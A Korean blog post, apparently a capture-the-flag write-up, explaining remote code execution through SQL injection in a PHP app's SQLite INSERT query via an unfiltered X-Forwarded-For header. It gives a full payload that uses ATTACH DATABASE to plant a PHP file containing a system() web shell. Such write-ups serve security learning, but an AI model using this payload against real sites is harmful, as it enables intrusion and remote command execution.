티스토리 뷰

728x90
반응형

 

문제 개요

RCE with Sqlite3 query injection

 

코드 분석

index.php 를 보면 라우터로 등록된 경로는 GET / 과 POST /subscribe 로 한개씩 존재합니다.

<?php
spl_autoload_register(function ($name){
    if (preg_match('/Controller$/', $name))
    {
        $name = "controllers/${name}";
    }
    else if (preg_match('/Model$/', $name))
    {
        $name = "models/${name}";
    }
    include_once "${name}.php";
});


$database = new Database('/tmp/challenge.db');

$router = new Router();
$router->new('GET', '/', 'IndexController@index');
$router->new('POST', '/subscribe', 'SubsController@store');

die($router->match());

 

사용자는 문제의 첫 페이지에서 이메일을 작성 후 구독(subscribe) 버튼을 누르면 위 코드에 정의된 대로 POST 요청으로 email 데이터가 서버로 전달됩니다. filter_var PHP 함수에 의해서 이메일이 유효한지 검사합니다.

 

<?php
class SubsController extends Controller
{
    public function __construct()
    {
        parent::__construct();
    }

    public function store($router)
    {
        $email = $_POST['email'];

        if (empty($email) || !filter_var($email, FILTER_VALIDATE_EMAIL)) {
            header('Location: /?success=false&msg=Please submit a valild email address!');
            exit;
        }

        $subscriber = new SubscriberModel;
        $subscriber->subscribe($email);

        header('Location: /?success=true&msg=Email subscribed successfully!');
        exit;
    }

    public function logout($router)
    {
        session_destroy();
        header('Location: /admin');
        exit;
    }
}

 

사실 처음에는 email 유효성을 검토하는 filter_var 함수를 우회하여 sql query 문을 inject 해야하는 줄 알았습니다. 다만 arbitrary code execute 를 위해서는 괄호가 필수적으로 들어가야하는데 이 email 의 filter_var 검증하는 것으로부터 우회는 불가능했었습니다. 관련해서는 아래 github 페이지에서 자세히 볼 수 있습니다.

https://github.com/Xib3rR4dAr/filter-var-sqli

 

GitHub - Xib3rR4dAr/filter-var-sqli: Bypassing FILTER_SANITIZE_EMAIL & FILTER_VALIDATE_EMAIL filters in filter_var for SQL Injec

Bypassing FILTER_SANITIZE_EMAIL & FILTER_VALIDATE_EMAIL filters in filter_var for SQL Injection ( xD ) - GitHub - Xib3rR4dAr/filter-var-sqli: Bypassing FILTER_SANITIZE_EMAIL & FILTER_VALID...

github.com

 

그리고 서버에서는 다시 이를 아래 코드에서 ip 주소와 email 주소를 파라미터로 특정 함수에 전달하는 것을 볼 수 있습니다.

<?php
class SubscriberModel extends Model
{

    public function __construct()
    {
        parent::__construct();
    }

    public function getSubscriberIP(){
        if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)){
            return  $_SERVER["HTTP_X_FORWARDED_FOR"];
        }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
            return $_SERVER["REMOTE_ADDR"];
        }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
            return $_SERVER["HTTP_CLIENT_IP"];
        }
        return '';
    }

    public function subscribe($email)
    {
        $ip_address = $this->getSubscriberIP();
        return $this->database->subscribeUser($ip_address, $email);
    }
}

 

보다시피 ip 주소를 인자로 받을 때 HTTP 요청의 X-Forwarded-For 헤더 값도 받고 있음을 알 수 있습니다. 그리고 이 헤더 값에 대한 별도의 필터링이 없는 것으로 보아 이를 이용해서 SQL Injection 을 해야할 것으로 보였습니다.

 

이제 실제 공격자의 input 이 들어가는 db query 문은 아래와 같습니다.

public function subscribeUser($ip_address, $email)
{
    return $this->db->exec("INSERT INTO subscribers (ip_address, email) VALUES('$ip_address', '$email')");
}

 

INSERT 문이고 작은따옴표를 사용해서 구문을 탈출할 수 있어 보입니다.

 

문제 풀이

SQLite3 에서 수행할 수 있는 RCE 코드는 아래 링크에서 참고할 수 있습니다.

https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/

 

SELECT code_execution FROM * USING SQLite; - Check Point Research

Gaining code execution using a malicious SQLite database Research By: Omer Gull tl;dr SQLite is one of the most deployed software in the world. However, from a security perspective, it has only been examined through the lens of WebSQL and browser exploitat

research.checkpoint.com

 

https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/

위 내용을 이제 injection 구문에 사용해서 HTTP 헤더를 아래와 같이 만들어보았습니다. (문제 사이트에서는 /www/ 경로에 index.php 파일이 있던 것을 한참 헤맸던 기억이 있습니다...)

X-Forwarded-For: 127.0.0.1','test@test.com');ATTACH DATABASE '/www/id.php' AS lol;CREATE TABLE lol.pwn (dataz text);INSERT INTO lol.pwn (dataz) VALUES ('<?php system("id"); ?>');INSERT INTO subscribers (ip_address, email) VALUES('127.0.0.1

 

그리고 실제 문제 사이트에 위 페이로드를 전송해보았습니다.

 

그랬더니 위와 같이 이메일에는 이상이 없기 때문에 잘 전송되었다고 합니다. 이제 실제 id.php 경로에 접근했을 때 어떻게 나오는지 확인해보았습니다.

 

뭔가 SQLite3 포맷이 나오면서 최 하단에 id 명령어 출력 결과 값이 삽입되어 있음을 알 수 있습니다. 실제로 RCE 명령이 잘 실행되어 공격자가 원하는 테이블이 만들어졌고, 또 원하는 명령어가 실행되어 해당 명령어의 내용이 들어가는 테이블이 담긴 db 파일이 실제 id.php 라는 이름의 파일에 attach 된 것을 확인할 수 있습니다.

 

실제 문제 풀 당시에는 ls 명령어로 flag_랜덤값 으로된 파일 이름을 확인하고 파일의 내용을 출력하여 문제를 풀었습니다.

 

728x90
반응형
댓글